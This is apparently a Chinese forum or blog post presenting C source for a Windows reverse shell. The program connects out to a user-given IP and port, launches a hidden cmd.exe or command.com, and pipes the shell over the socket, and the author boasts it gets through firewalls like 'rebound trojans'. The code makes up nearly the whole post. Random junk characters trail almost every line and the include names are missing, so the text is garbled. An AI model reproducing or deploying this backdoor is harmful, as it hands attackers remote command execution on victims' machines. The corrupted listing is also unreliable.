Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 3r[s_Y*  
.eyJ<b9  
/* ============================== ^UFNds'q  
Rebound port in Windows NT 0:c3aq&u  
By wind,2006/7 VLoRS)   
===============================*/ 9~y:K$NO  
#include 01NP  
#include >4os%T  
,V{Bpr  
#pragma comment(lib,"wsock32.lib") '-3K`[  
"6v_<t`q"  
void OutputShell(); n$E$@  
SOCKET sClient; w}e_17A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q% ^_<u  
Hoi~(Vc.  
void main(int argc,char **argv) }'Ph^ %ox  
{ OLoo#HW  
WSADATA stWsaData; p[)yn%uh  
int nRet; :SY,;..3e  
SOCKADDR_IN stSaiClient,stSaiServer; zjzEmX  
-z%->OUu  
if(argc != 3) KEf1GU6s  
{ ;j+*}|!  
printf("Useage:\n\rRebound DestIP DestPort\n"); xc7Rrh]}  
return; '}-QZ$|*  
} 9WV8ZP  
PH'n`
D
#  
WSAStartup(MAKEWORD(2,2),&stWsaData); *e:2iM)8~  
4
 []!Km  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A=70
UL  
<&bBE"U4  
stSaiClient.sin_family = AF_INET; mP?}h  
stSaiClient.sin_port = htons(0); ;vn0b"Fi3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $x#
qv1  
P/Y)Yx_(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ac1(lD  
{ p\Iy)Y2Lf!  
printf("Bind Socket Failed!\n"); \tCK7sBn  
return; :Y4Sdj  
} F*-'8~T  
>ul&x!?@  
stSaiServer.sin_family = AF_INET; !(3[z>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +>yspOEz  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0wAB;|~*62  
dTte4lh  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) GH&5m44  
{ *xpPD\{k  
printf("Connect Error!"); yh).1Q-D  
return; nP|ah~ q  
} ngk:q5Tp  
OutputShell(); ^ (J%)&_\3  
} rd"!&i  
jHObWUX  
void OutputShell() 2EO9IxIf  
{ ce719n$   
char szBuff[1024]; l_,6<wWp  
SECURITY_ATTRIBUTES stSecurityAttributes; Mgu9m8 `J  
OSVERSIONINFO stOsversionInfo; xn)F(P 0kv  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }iLi5Qkx  
STARTUPINFO stStartupInfo; %=V"
}P[  
char *szShell; )Lk2tvr  
PROCESS_INFORMATION stProcessInformation; k?/!`  
unsigned long lBytesRead; dKL9}:oUa  
z80*Ylx  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /q/^B>]  
Oi{J}2U  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K7/&~;ZwT  
stSecurityAttributes.lpSecurityDescriptor = 0; P2U4,?_e  
stSecurityAttributes.bInheritHandle = TRUE; $U(D*0+o/  
p:ZQ*Ue  
A5[kYD,_  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |:u5R%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); V9%9nR!'  
R@`xS<`L/  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); % 3fpIzm  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c;=St1eoz  
stStartupInfo.wShowWindow = SW_HIDE; Ki%)LQAg  
stStartupInfo.hStdInput = hReadPipe; D%=&euB  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C;9P6^Oz  
cBHUa}:  
GetVersionEx(&stOsversionInfo); K)h<#F  
#W8c)gkG9  
switch(stOsversionInfo.dwPlatformId) YF%]%^n  
{ nhd.c2t\  
case 1: M
3dUGM  
szShell = "command.com"; ZvK3Su)f1  
break; E;"VI2F  
default: -W:@3\{  
szShell = "cmd.exe"; 5r;)Ppo  
break; dkg+_V!  
} @9
k3}x K  
h,K&R8S  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pTJ_DH  
R/6 v#9m7  
send(sClient,szMsg,77,0); A}3E)Qo=G  
while(1) r\y\]AmF
 
{ ZY;g)`E1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ")NQwT}  
if(lBytesRead) KCqz]  
{ 7JY9#+?p>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :JXcs39  
send(sClient,szBuff,lBytesRead,0); 0|4R8Dh*-  
} j9cB<atL  
else g1B P  
{ U<'$ \P  
lBytesRead=recv(sClient,szBuff,1024,0); Eh"Y<]$  
if(lBytesRead<=0) break; s,D GFK  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H/*i-%]v+(  
} ")fgQ3XZ  
} K5(T7S  
x26 sH5  
return; HhzPKd  
}